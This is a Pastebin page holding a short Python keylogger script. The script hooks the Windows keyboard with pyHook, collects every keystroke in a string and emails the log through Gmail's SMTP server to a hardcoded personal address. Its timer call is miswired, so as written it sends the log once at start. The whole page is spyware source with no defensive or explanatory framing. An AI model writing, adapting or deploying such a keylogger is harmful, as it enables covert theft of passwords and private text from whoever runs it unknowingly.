Advertisement
Guest User

Untitled

a guest
May 30th, 2017
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.74 KB | None | 0 0
  1. import pythoncom, pyHook, smtplib
  2. from threading import Timer
  3.  
  4. msg = ""
  5.  
  6. def OnKeyboardEvent(event):
  7.     #File = open('config.txt', 'w')
  8.     global msg
  9.     msg = msg + event.Key
  10.     #File.write(keyPress)
  11.  
  12.     return True
  13.    
  14.    
  15. def sendLog(m):
  16.     #File.close()
  17.     #File = open('config.txt', 'r')
  18.     #m = File.read()
  19.     gmailUser = 'zachctown@gmail.com'
  20.     gmailPassword = 'blah'
  21.     recip = "zachctown@gmail.com"
  22.     mailServer = smtplib.SMTP('smtp.gmail.com', 587)
  23.     mailServer.ehlo()
  24.     mailServer.starttls()
  25.     mailServer.ehlo()
  26.     mailServer.login(gmailUser, gmailPassword)
  27.     mailServer.sendmail(gmailUser, recip, m)
  28.  
  29.  
  30. hm = pyHook.HookManager()
  31. hm.KeyDown = OnKeyboardEvent
  32. hm.HookKeyboard()
  33.  
  34. t = Timer(10.0, sendLog(msg))
  35. t.start()
  36.  
  37.  
  38. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement